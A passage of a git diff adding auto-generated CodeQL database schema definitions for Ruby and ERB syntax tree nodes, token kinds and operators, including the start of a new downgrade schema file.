+  unique int id: @ruby_if_guard,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_if_modifier_def(
+  unique int id: @ruby_if_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_in_def(
+  unique int id: @ruby_in,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_in_clause_body(
+  unique int ruby_in_clause: @ruby_in_clause ref,
+  unique int body: @ruby_then ref
+);
+
+@ruby_in_clause_guard_type = @ruby_if_guard | @ruby_unless_guard
+
+ruby_in_clause_guard(
+  unique int ruby_in_clause: @ruby_in_clause ref,
+  unique int guard: @ruby_in_clause_guard_type ref
+);
+
+ruby_in_clause_def(
+  unique int id: @ruby_in_clause,
+  int pattern: @ruby_underscore_pattern_top_expr_body ref
+);
+
+@ruby_interpolation_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_interpolation, index]
+ruby_interpolation_child(
+  int ruby_interpolation: @ruby_interpolation ref,
+  int index: int ref,
+  unique int child: @ruby_interpolation_child_type ref
+);
+
+ruby_interpolation_def(
+  unique int id: @ruby_interpolation
+);
+
+ruby_keyword_parameter_value(
+  unique int ruby_keyword_parameter: @ruby_keyword_parameter ref,
+  unique int value: @ruby_underscore_arg ref
+);
+
+ruby_keyword_parameter_def(
+  unique int id: @ruby_keyword_parameter,
+  int name: @ruby_token_identifier ref
+);
+
+@ruby_keyword_pattern_key_type = @ruby_string__ | @ruby_token_hash_key_symbol
+
+ruby_keyword_pattern_value(
+  unique int ruby_keyword_pattern: @ruby_keyword_pattern ref,
+  unique int value: @ruby_underscore_pattern_expr ref
+);
+
+ruby_keyword_pattern_def(
+  unique int id: @ruby_keyword_pattern,
+  int key__: @ruby_keyword_pattern_key_type ref
+);
+
+@ruby_lambda_body_type = @ruby_block | @ruby_do_block
+
+ruby_lambda_parameters(
+  unique int ruby_lambda: @ruby_lambda ref,
+  unique int parameters: @ruby_lambda_parameters ref
+);
+
+ruby_lambda_def(
+  unique int id: @ruby_lambda,
+  int body: @ruby_lambda_body_type ref
+);
+
+@ruby_lambda_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_lambda_parameters, index]
+ruby_lambda_parameters_child(
+  int ruby_lambda_parameters: @ruby_lambda_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_lambda_parameters_child_type ref
+);
+
+ruby_lambda_parameters_def(
+  unique int id: @ruby_lambda_parameters
+);
+
+@ruby_left_assignment_list_child_type = @ruby_destructured_left_assignment | @ruby_rest_assignment | @ruby_underscore_lhs
+
+#keyset[ruby_left_assignment_list, index]
+ruby_left_assignment_list_child(
+  int ruby_left_assignment_list: @ruby_left_assignment_list ref,
+  int index: int ref,
+  unique int child: @ruby_left_assignment_list_child_type ref
+);
+
+ruby_left_assignment_list_def(
+  unique int id: @ruby_left_assignment_list
+);
+
+ruby_method_parameters(
+  unique int ruby_method: @ruby_method ref,
+  unique int parameters: @ruby_method_parameters ref
+);
+
+@ruby_method_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_arg | @ruby_underscore_statement
+
+#keyset[ruby_method, index]
+ruby_method_child(
+  int ruby_method: @ruby_method ref,
+  int index: int ref,
+  unique int child: @ruby_method_child_type ref
+);
+
+ruby_method_def(
+  unique int id: @ruby_method,
+  int name: @ruby_underscore_method_name ref
+);
+
+@ruby_method_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
+
+#keyset[ruby_method_parameters, index]
+ruby_method_parameters_child(
+  int ruby_method_parameters: @ruby_method_parameters ref,
+  int index: int ref,
+  unique int child: @ruby_method_parameters_child_type ref
+);
+
+ruby_method_parameters_def(
+  unique int id: @ruby_method_parameters
+);
+
+@ruby_module_name_type = @ruby_scope_resolution | @ruby_token_constant
+
+@ruby_module_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_module, index]
+ruby_module_child(
+  int ruby_module: @ruby_module ref,
+  int index: int ref,
+  unique int child: @ruby_module_child_type ref
+);
+
+ruby_module_def(
+  unique int id: @ruby_module,
+  int name: @ruby_module_name_type ref
+);
+
+ruby_next_child(
+  unique int ruby_next: @ruby_next ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_next_def(
+  unique int id: @ruby_next
+);
+
+case @ruby_operator_assignment.operator of
+  0 = @ruby_operator_assignment_percentequal
+| 1 = @ruby_operator_assignment_ampersandampersandequal
+| 2 = @ruby_operator_assignment_ampersandequal
+| 3 = @ruby_operator_assignment_starstarequal
+| 4 = @ruby_operator_assignment_starequal
+| 5 = @ruby_operator_assignment_plusequal
+| 6 = @ruby_operator_assignment_minusequal
+| 7 = @ruby_operator_assignment_slashequal
+| 8 = @ruby_operator_assignment_langlelangleequal
+| 9 = @ruby_operator_assignment_ranglerangleequal
+| 10 = @ruby_operator_assignment_caretequal
+| 11 = @ruby_operator_assignment_pipeequal
+| 12 = @ruby_operator_assignment_pipepipeequal
+;
+
+
+@ruby_operator_assignment_right_type = @ruby_rescue_modifier | @ruby_underscore_expression
+
+ruby_operator_assignment_def(
+  unique int id: @ruby_operator_assignment,
+  int left: @ruby_underscore_lhs ref,
+  int operator: int ref,
+  int right: @ruby_operator_assignment_right_type ref
+);
+
+ruby_optional_parameter_def(
+  unique int id: @ruby_optional_parameter,
+  int name: @ruby_token_identifier ref,
+  int value: @ruby_underscore_arg ref
+);
+
+@ruby_pair_key_type = @ruby_string__ | @ruby_token_hash_key_symbol | @ruby_underscore_arg
+
+ruby_pair_value(
+  unique int ruby_pair: @ruby_pair ref,
+  unique int value: @ruby_underscore_arg ref
+);
+
+ruby_pair_def(
+  unique int id: @ruby_pair,
+  int key__: @ruby_pair_key_type ref
+);
+
+ruby_parenthesized_pattern_def(
+  unique int id: @ruby_parenthesized_pattern,
+  int child: @ruby_underscore_pattern_expr ref
+);
+
+@ruby_parenthesized_statements_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_parenthesized_statements, index]
+ruby_parenthesized_statements_child(
+  int ruby_parenthesized_statements: @ruby_parenthesized_statements ref,
+  int index: int ref,
+  unique int child: @ruby_parenthesized_statements_child_type ref
+);
+
+ruby_parenthesized_statements_def(
+  unique int id: @ruby_parenthesized_statements
+);
+
+@ruby_pattern_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+ruby_pattern_def(
+  unique int id: @ruby_pattern,
+  int child: @ruby_pattern_child_type ref
+);
+
+@ruby_program_child_type = @ruby_token_empty_statement | @ruby_token_uninterpreted | @ruby_underscore_statement
+
+#keyset[ruby_program, index]
+ruby_program_child(
+  int ruby_program: @ruby_program ref,
+  int index: int ref,
+  unique int child: @ruby_program_child_type ref
+);
+
+ruby_program_def(
+  unique int id: @ruby_program
+);
+
+@ruby_range_begin_type = @ruby_underscore_arg | @ruby_underscore_pattern_primitive
+
+ruby_range_begin(
+  unique int ruby_range: @ruby_range ref,
+  unique int begin: @ruby_range_begin_type ref
+);
+
+@ruby_range_end_type = @ruby_underscore_arg | @ruby_underscore_pattern_primitive
+
+ruby_range_end(
+  unique int ruby_range: @ruby_range ref,
+  unique int end: @ruby_range_end_type ref
+);
+
+case @ruby_range.operator of
+  0 = @ruby_range_dotdot
+| 1 = @ruby_range_dotdotdot
+;
+
+
+ruby_range_def(
+  unique int id: @ruby_range,
+  int operator: int ref
+);
+
+@ruby_rational_child_type = @ruby_token_float | @ruby_token_integer
+
+ruby_rational_def(
+  unique int id: @ruby_rational,
+  int child: @ruby_rational_child_type ref
+);
+
+ruby_redo_child(
+  unique int ruby_redo: @ruby_redo ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_redo_def(
+  unique int id: @ruby_redo
+);
+
+@ruby_regex_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_regex, index]
+ruby_regex_child(
+  int ruby_regex: @ruby_regex ref,
+  int index: int ref,
+  unique int child: @ruby_regex_child_type ref
+);
+
+ruby_regex_def(
+  unique int id: @ruby_regex
+);
+
+ruby_rescue_body(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int body: @ruby_then ref
+);
+
+ruby_rescue_exceptions(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int exceptions: @ruby_exceptions ref
+);
+
+ruby_rescue_variable(
+  unique int ruby_rescue: @ruby_rescue ref,
+  unique int variable: @ruby_exception_variable ref
+);
+
+ruby_rescue_def(
+  unique int id: @ruby_rescue
+);
+
+@ruby_rescue_modifier_body_type = @ruby_underscore_arg | @ruby_underscore_statement
+
+ruby_rescue_modifier_def(
+  unique int id: @ruby_rescue_modifier,
+  int body: @ruby_rescue_modifier_body_type ref,
+  int handler: @ruby_underscore_expression ref
+);
+
+ruby_rest_assignment_child(
+  unique int ruby_rest_assignment: @ruby_rest_assignment ref,
+  unique int child: @ruby_underscore_lhs ref
+);
+
+ruby_rest_assignment_def(
+  unique int id: @ruby_rest_assignment
+);
+
+ruby_retry_child(
+  unique int ruby_retry: @ruby_retry ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_retry_def(
+  unique int id: @ruby_retry
+);
+
+ruby_return_child(
+  unique int ruby_return: @ruby_return ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_return_def(
+  unique int id: @ruby_return
+);
+
+@ruby_right_assignment_list_child_type = @ruby_splat_argument | @ruby_underscore_arg
+
+#keyset[ruby_right_assignment_list, index]
+ruby_right_assignment_list_child(
+  int ruby_right_assignment_list: @ruby_right_assignment_list ref,
+  int index: int ref,
+  unique int child: @ruby_right_assignment_list_child_type ref
+);
+
+ruby_right_assignment_list_def(
+  unique int id: @ruby_right_assignment_list
+);
+
+@ruby_scope_resolution_scope_type = @ruby_underscore_pattern_constant | @ruby_underscore_primary
+
+ruby_scope_resolution_scope(
+  unique int ruby_scope_resolution: @ruby_scope_resolution ref,
+  unique int scope: @ruby_scope_resolution_scope_type ref
+);
+
+ruby_scope_resolution_def(
+  unique int id: @ruby_scope_resolution,
+  int name: @ruby_token_constant ref
+);
+
+ruby_setter_def(
+  unique int id: @ruby_setter,
+  int name: @ruby_token_identifier ref
+);
+
+@ruby_singleton_class_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_singleton_class, index]
+ruby_singleton_class_child(
+  int ruby_singleton_class: @ruby_singleton_class ref,
+  int index: int ref,
+  unique int child: @ruby_singleton_class_child_type ref
+);
+
+ruby_singleton_class_def(
+  unique int id: @ruby_singleton_class,
+  int value: @ruby_underscore_arg ref
+);
+
+@ruby_singleton_method_object_type = @ruby_underscore_arg | @ruby_underscore_variable
+
+ruby_singleton_method_parameters(
+  unique int ruby_singleton_method: @ruby_singleton_method ref,
+  unique int parameters: @ruby_method_parameters ref
+);
+
+@ruby_singleton_method_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_arg | @ruby_underscore_statement
+
+#keyset[ruby_singleton_method, index]
+ruby_singleton_method_child(
+  int ruby_singleton_method: @ruby_singleton_method ref,
+  int index: int ref,
+  unique int child: @ruby_singleton_method_child_type ref
+);
+
+ruby_singleton_method_def(
+  unique int id: @ruby_singleton_method,
+  int name: @ruby_underscore_method_name ref,
+  int object: @ruby_singleton_method_object_type ref
+);
+
+ruby_splat_argument_def(
+  unique int id: @ruby_splat_argument,
+  int child: @ruby_underscore_arg ref
+);
+
+ruby_splat_parameter_name(
+  unique int ruby_splat_parameter: @ruby_splat_parameter ref,
+  unique int name: @ruby_token_identifier ref
+);
+
+ruby_splat_parameter_def(
+  unique int id: @ruby_splat_parameter
+);
+
+@ruby_string_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_string__, index]
+ruby_string_child(
+  int ruby_string__: @ruby_string__ ref,
+  int index: int ref,
+  unique int child: @ruby_string_child_type ref
+);
+
+ruby_string_def(
+  unique int id: @ruby_string__
+);
+
+#keyset[ruby_string_array, index]
+ruby_string_array_child(
+  int ruby_string_array: @ruby_string_array ref,
+  int index: int ref,
+  unique int child: @ruby_bare_string ref
+);
+
+ruby_string_array_def(
+  unique int id: @ruby_string_array
+);
+
+@ruby_subshell_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_subshell, index]
+ruby_subshell_child(
+  int ruby_subshell: @ruby_subshell ref,
+  int index: int ref,
+  unique int child: @ruby_subshell_child_type ref
+);
+
+ruby_subshell_def(
+  unique int id: @ruby_subshell
+);
+
+ruby_superclass_def(
+  unique int id: @ruby_superclass,
+  int child: @ruby_underscore_expression ref
+);
+
+#keyset[ruby_symbol_array, index]
+ruby_symbol_array_child(
+  int ruby_symbol_array: @ruby_symbol_array ref,
+  int index: int ref,
+  unique int child: @ruby_bare_symbol ref
+);
+
+ruby_symbol_array_def(
+  unique int id: @ruby_symbol_array
+);
+
+@ruby_then_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_then, index]
+ruby_then_child(
+  int ruby_then: @ruby_then ref,
+  int index: int ref,
+  unique int child: @ruby_then_child_type ref
+);
+
+ruby_then_def(
+  unique int id: @ruby_then
+);
+
+@ruby_unary_operand_type = @ruby_parenthesized_statements | @ruby_underscore_expression | @ruby_underscore_simple_numeric
+
+case @ruby_unary.operator of
+  0 = @ruby_unary_bang
+| 1 = @ruby_unary_plus
+| 2 = @ruby_unary_minus
+| 3 = @ruby_unary_definedquestion
+| 4 = @ruby_unary_not
+| 5 = @ruby_unary_tilde
+;
+
+
+ruby_unary_def(
+  unique int id: @ruby_unary,
+  int operand: @ruby_unary_operand_type ref,
+  int operator: int ref
+);
+
+#keyset[ruby_undef, index]
+ruby_undef_child(
+  int ruby_undef: @ruby_undef ref,
+  int index: int ref,
+  unique int child: @ruby_underscore_method_name ref
+);
+
+ruby_undef_def(
+  unique int id: @ruby_undef
+);
+
+@ruby_unless_alternative_type = @ruby_else | @ruby_elsif
+
+ruby_unless_alternative(
+  unique int ruby_unless: @ruby_unless ref,
+  unique int alternative: @ruby_unless_alternative_type ref
+);
+
+ruby_unless_consequence(
+  unique int ruby_unless: @ruby_unless ref,
+  unique int consequence: @ruby_then ref
+);
+
+ruby_unless_def(
+  unique int id: @ruby_unless,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_unless_guard_def(
+  unique int id: @ruby_unless_guard,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_unless_modifier_def(
+  unique int id: @ruby_unless_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_until_def(
+  unique int id: @ruby_until,
+  int body: @ruby_do ref,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_until_modifier_def(
+  unique int id: @ruby_until_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+@ruby_variable_reference_pattern_name_type = @ruby_token_identifier | @ruby_underscore_nonlocal_variable
+
+ruby_variable_reference_pattern_def(
+  unique int id: @ruby_variable_reference_pattern,
+  int name: @ruby_variable_reference_pattern_name_type ref
+);
+
+ruby_when_body(
+  unique int ruby_when: @ruby_when ref,
+  unique int body: @ruby_then ref
+);
+
+#keyset[ruby_when, index]
+ruby_when_pattern(
+  int ruby_when: @ruby_when ref,
+  int index: int ref,
+  unique int pattern: @ruby_pattern ref
+);
+
+ruby_when_def(
+  unique int id: @ruby_when
+);
+
+ruby_while_def(
+  unique int id: @ruby_while,
+  int body: @ruby_do ref,
+  int condition: @ruby_underscore_statement ref
+);
+
+ruby_while_modifier_def(
+  unique int id: @ruby_while_modifier,
+  int body: @ruby_underscore_statement ref,
+  int condition: @ruby_underscore_expression ref
+);
+
+ruby_yield_child(
+  unique int ruby_yield: @ruby_yield ref,
+  unique int child: @ruby_argument_list ref
+);
+
+ruby_yield_def(
+  unique int id: @ruby_yield
+);
+
+ruby_tokeninfo(
+  unique int id: @ruby_token,
+  int kind: int ref,
+  string value: string ref
+);
+
+case @ruby_token.kind of
+  0 = @ruby_reserved_word
+| 1 = @ruby_token_character
+| 2 = @ruby_token_class_variable
+| 3 = @ruby_token_comment
+| 4 = @ruby_token_constant
+| 5 = @ruby_token_empty_statement
+| 6 = @ruby_token_encoding
+| 7 = @ruby_token_escape_sequence
+| 8 = @ruby_token_false
+| 9 = @ruby_token_file
+| 10 = @ruby_token_float
+| 11 = @ruby_token_forward_argument
+| 12 = @ruby_token_forward_parameter
+| 13 = @ruby_token_global_variable
+| 14 = @ruby_token_hash_key_symbol
+| 15 = @ruby_token_hash_splat_nil
+| 16 = @ruby_token_heredoc_beginning
+| 17 = @ruby_token_heredoc_content
+| 18 = @ruby_token_heredoc_end
+| 19 = @ruby_token_identifier
+| 20 = @ruby_token_instance_variable
+| 21 = @ruby_token_integer
+| 22 = @ruby_token_line
+| 23 = @ruby_token_nil
+| 24 = @ruby_token_operator
+| 25 = @ruby_token_self
+| 26 = @ruby_token_simple_symbol
+| 27 = @ruby_token_string_content
+| 28 = @ruby_token_super
+| 29 = @ruby_token_true
+| 30 = @ruby_token_uninterpreted
+;
+
+
+@ruby_ast_node = @ruby_alias | @ruby_alternative_pattern | @ruby_argument_list | @ruby_array | @ruby_array_pattern | @ruby_as_pattern | @ruby_assignment | @ruby_bare_string | @ruby_bare_symbol | @ruby_begin | @ruby_begin_block | @ruby_binary | @ruby_block | @ruby_block_argument | @ruby_block_parameter | @ruby_block_parameters | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_complex | @ruby_conditional | @ruby_delimited_symbol | @ruby_destructured_left_assignment | @ruby_destructured_parameter | @ruby_do | @ruby_do_block | @ruby_element_reference | @ruby_else | @ruby_elsif | @ruby_end_block | @ruby_ensure | @ruby_exception_variable | @ruby_exceptions | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_for | @ruby_hash | @ruby_hash_pattern | @ruby_hash_splat_argument | @ruby_hash_splat_parameter | @ruby_heredoc_body | @ruby_if | @ruby_if_guard | @ruby_if_modifier | @ruby_in | @ruby_in_clause | @ruby_interpolation | @ruby_keyword_parameter | @ruby_keyword_pattern | @ruby_lambda | @ruby_lambda_parameters | @ruby_left_assignment_list | @ruby_method | @ruby_method_parameters | @ruby_module | @ruby_next | @ruby_operator_assignment | @ruby_optional_parameter | @ruby_pair | @ruby_parenthesized_pattern | @ruby_parenthesized_statements | @ruby_pattern | @ruby_program | @ruby_range | @ruby_rational | @ruby_redo | @ruby_regex | @ruby_rescue | @ruby_rescue_modifier | @ruby_rest_assignment | @ruby_retry | @ruby_return | @ruby_right_assignment_list | @ruby_scope_resolution | @ruby_setter | @ruby_singleton_class | @ruby_singleton_method | @ruby_splat_argument | @ruby_splat_parameter | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_superclass | @ruby_symbol_array | @ruby_then | @ruby_token | @ruby_unary | @ruby_undef | @ruby_unless | @ruby_unless_guard | @ruby_unless_modifier | @ruby_until | @ruby_until_modifier | @ruby_variable_reference_pattern | @ruby_when | @ruby_while | @ruby_while_modifier | @ruby_yield
+
+@ruby_ast_node_parent = @file | @ruby_ast_node
+
+#keyset[parent, parent_index]
+ruby_ast_node_info(
+  unique int node: @ruby_ast_node ref,
+  int parent: @ruby_ast_node_parent ref,
+  int parent_index: int ref,
+  int loc: @location ref
+);
+
+erb_comment_directive_def(
+  unique int id: @erb_comment_directive,
+  int child: @erb_token_comment ref
+);
+
+erb_directive_def(
+  unique int id: @erb_directive,
+  int child: @erb_token_code ref
+);
+
+erb_graphql_directive_def(
+  unique int id: @erb_graphql_directive,
+  int child: @erb_token_code ref
+);
+
+erb_output_directive_def(
+  unique int id: @erb_output_directive,
+  int child: @erb_token_code ref
+);
+
+@erb_template_child_type = @erb_comment_directive | @erb_directive | @erb_graphql_directive | @erb_output_directive | @erb_token_content
+
+#keyset[erb_template, index]
+erb_template_child(
+  int erb_template: @erb_template ref,
+  int index: int ref,
+  unique int child: @erb_template_child_type ref
+);
+
+erb_template_def(
+  unique int id: @erb_template
+);
+
+erb_tokeninfo(
+  unique int id: @erb_token,
+  int kind: int ref,
+  string value: string ref
+);
+
+case @erb_token.kind of
+  0 = @erb_reserved_word
+| 1 = @erb_token_code
+| 2 = @erb_token_comment
+| 3 = @erb_token_content
+;
+
+
+@erb_ast_node = @erb_comment_directive | @erb_directive | @erb_graphql_directive | @erb_output_directive | @erb_template | @erb_token
+
+@erb_ast_node_parent = @erb_ast_node | @file
+
+#keyset[parent, parent_index]
+erb_ast_node_info(
+  unique int node: @erb_ast_node ref,
+  int parent: @erb_ast_node_parent ref,
+  int parent_index: int ref,
+  int loc: @location ref
+);
+
diff --git a/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby.dbscheme b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby.dbscheme
new file mode 100644
index 00000000000..9fdd1d40fd3
--- /dev/null
+++ b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby.dbscheme
@@ -0,0 +1,1393 @@
+// CodeQL database schema for Ruby
+// Automatically generated from the tree-sitter grammar; do not edit
+
+@location = @location_default
+
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int start_line: int ref,
+  int start_column: int ref,
+  int end_line: int ref,
+  int end_column: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+sourceLocationPrefix(
+  string prefix: string ref
+);
+
+diagnostics(
+  unique int id: @diagnostic,
+  int severity: int ref,
+  string error_tag: string ref,
+  string error_message: string ref,
+  string full_error_message: string ref,
+  int location: @location_default ref
+);
+
+case @diagnostic.severity of
+  10 = @diagnostic_debug
+| 20 = @diagnostic_info
+| 30 = @diagnostic_warning
+| 40 = @diagnostic_error
+;
+
+
+@ruby_underscore_arg = @ruby_assignment | @ruby_binary | @ruby_conditional | @ruby_operator_assignment | @ruby_range | @ruby_unary | @ruby_underscore_primary
+
+@ruby_underscore_expression = @ruby_assignment | @ruby_binary | @ruby_break | @ruby_call | @ruby_next | @ruby_operator_assignment | @ruby_return | @ruby_unary | @ruby_underscore_arg | @ruby_yield
+
+@ruby_underscore_lhs = @ruby_call | @ruby_element_reference | @ruby_scope_resolution | @ruby_token_false | @ruby_token_nil | @ruby_token_true | @ruby_underscore_variable
+
+@ruby_underscore_method_name = @ruby_delimited_symbol | @ruby_setter | @ruby_token_constant | @ruby_token_identifier | @ruby_token_operator | @ruby_token_simple_symbol | @ruby_underscore_nonlocal_variable
+
+@ruby_underscore_nonlocal_variable = @ruby_token_class_variable | @ruby_token_global_variable | @ruby_token_instance_variable
+
+@ruby_underscore_pattern_constant = @ruby_scope_resolution | @ruby_token_constant
+
+@ruby_underscore_pattern_expr = @ruby_alternative_pattern | @ruby_as_pattern | @ruby_underscore_pattern_expr_basic
+
+@ruby_underscore_pattern_expr_basic = @ruby_array_pattern | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_parenthesized_pattern | @ruby_range | @ruby_token_identifier | @ruby_underscore_pattern_constant | @ruby_underscore_pattern_primitive | @ruby_variable_reference_pattern
+
+@ruby_underscore_pattern_primitive = @ruby_delimited_symbol | @ruby_lambda | @ruby_regex | @ruby_string__ | @ruby_string_array | @ruby_symbol_array | @ruby_token_encoding | @ruby_token_false | @ruby_token_file | @ruby_token_line | @ruby_token_nil | @ruby_token_self | @ruby_token_simple_symbol | @ruby_token_true | @ruby_unary | @ruby_underscore_simple_numeric
+
+@ruby_underscore_pattern_top_expr_body = @ruby_array_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_underscore_pattern_expr
+
+@ruby_underscore_primary = @ruby_array | @ruby_begin | @ruby_break | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_delimited_symbol | @ruby_for | @ruby_hash | @ruby_if | @ruby_lambda | @ruby_method | @ruby_module | @ruby_next | @ruby_parenthesized_statements | @ruby_redo | @ruby_regex | @ruby_retry | @ruby_return | @ruby_singleton_class | @ruby_singleton_method | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_character | @ruby_token_heredoc_beginning | @ruby_token_simple_symbol | @ruby_unary | @ruby_underscore_lhs | @ruby_underscore_simple_numeric | @ruby_unless | @ruby_until | @ruby_while | @ruby_yield
+
+@ruby_underscore_simple_numeric = @ruby_rational | @ruby_token_complex | @ruby_token_float | @ruby_token_integer
+
+@ruby_underscore_statement = @ruby_alias | @ruby_begin_block | @ruby_end_block | @ruby_if_modifier | @ruby_rescue_modifier | @ruby_undef | @ruby_underscore_expression | @ruby_unless_modifier | @ruby_until_modifier | @ruby_while_modifier
+
+@ruby_underscore_variable = @ruby_token_constant | @ruby_token_identifier | @ruby_token_self | @ruby_token_super | @ruby_underscore_nonlocal_variable
+
+ruby_alias_def(
+  unique int id: @ruby_alias,
+  int alias: @ruby_underscore_method_name ref,
+  int name: @ruby_underscore_method_name ref
+);
+
+#keyset[ruby_alternative_pattern, index]
+ruby_alternative_pattern_alternatives(
+  int ruby_alternative_pattern: @ruby_alternative_pattern ref,
+  int index: int ref,
+  unique int alternatives: @ruby_underscore_pattern_expr_basic ref
+);
+
+ruby_alternative_pattern_def(
+  unique int id: @ruby_alternative_pattern
+);
+
+@ruby_argument_list_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_argument_list, index]
+ruby_argument_list_child(
+  int ruby_argument_list: @ruby_argument_list ref,
+  int index: int ref,
+  unique int child: @ruby_argument_list_child_type ref
+);
+
+ruby_argument_list_def(
+  unique int id: @ruby_argument_list
+);
+
+@ruby_array_child_type = @ruby_block_argument | @ruby_hash_splat_argument | @ruby_pair | @ruby_splat_argument | @ruby_token_forward_argument | @ruby_underscore_expression
+
+#keyset[ruby_array, index]
+ruby_array_child(
+  int ruby_array: @ruby_array ref,
+  int index: int ref,
+  unique int child: @ruby_array_child_type ref
+);
+
+ruby_array_def(
+  unique int id: @ruby_array
+);
+
+ruby_array_pattern_class(
+  unique int ruby_array_pattern: @ruby_array_pattern ref,
+  unique int class: @ruby_underscore_pattern_constant ref
+);
+
+@ruby_array_pattern_child_type = @ruby_splat_parameter | @ruby_underscore_pattern_expr
+
+#keyset[ruby_array_pattern, index]
+ruby_array_pattern_child(
+  int ruby_array_pattern: @ruby_array_pattern ref,
+  int index: int ref,
+  unique int child: @ruby_array_pattern_child_type ref
+);
+
+ruby_array_pattern_def(
+  unique int id: @ruby_array_pattern
+);
+
+ruby_as_pattern_def(
+  unique int id: @ruby_as_pattern,
+  int name: @ruby_token_identifier ref,
+  int value: @ruby_underscore_pattern_expr ref
+);
+
+@ruby_assignment_left_type = @ruby_left_assignment_list | @ruby_underscore_lhs
+
+@ruby_assignment_right_type = @ruby_right_assignment_list | @ruby_splat_argument | @ruby_underscore_expression
+
+ruby_assignment_def(
+  unique int id: @ruby_assignment,
+  int left: @ruby_assignment_left_type ref,
+  int right: @ruby_assignment_right_type ref
+);
+
+@ruby_bare_string_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_bare_string, index]
+ruby_bare_string_child(
+  int ruby_bare_string: @ruby_bare_string ref,
+  int index: int ref,
+  unique int child: @ruby_bare_string_child_type ref
+);
+
+ruby_bare_string_def(
+  unique int id: @ruby_bare_string
+);
+
+@ruby_bare_symbol_child_type = @ruby_interpolation | @ruby_token_escape_sequence | @ruby_token_string_content
+
+#keyset[ruby_bare_symbol, index]
+ruby_bare_symbol_child(
+  int ruby_bare_symbol: @ruby_bare_symbol ref,
+  int index: int ref,
+  unique int child: @ruby_bare_symbol_child_type ref
+);
+
+ruby_bare_symbol_def(
+  unique int id: @ruby_bare_symbol
+);
+
+@ruby_begin_child_type = @ruby_else | @ruby_ensure | @ruby_rescue | @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_begin, index]
+ruby_begin_child(
+  int ruby_begin: @ruby_begin ref,
+  int index: int ref,
+  unique int child: @ruby_begin_child_type ref
+);
+
+ruby_begin_def(
+  unique int id: @ruby_begin
+);
+
+@ruby_begin_block_child_type = @ruby_token_empty_statement | @ruby_underscore_statement
+
+#keyset[ruby_begin_block, index]
+ruby_begin_block_child(
+  int ruby_begin_block: @ruby_begin_block ref,
+  int index: int ref,
+  unique int child: @ruby_begin_block_child_type ref
+);
+
+ruby_begin_block_def(
+  unique int id: @ruby_begin_block
+);
+
+case @ruby_binary.operator of
+  0 = @ruby_binary_bangequal
+| 1 = @ruby_binary_bangtilde
+| 2 = @ruby_binary_percent
+| 3 = @ruby_binary_ampersand
+| 4 = @ruby_binary_ampersandampersand
+| 5 = @ruby_binary_star
+| 6 = @ruby_binary_starstar
+| 7 = @ruby_binary_plus
+| 8 = @ruby_binary_minus
+| 9 = @ruby_binary_slash
+| 10 = @ruby_binary_langle
+| 11 = @ruby_binary_langlelangle
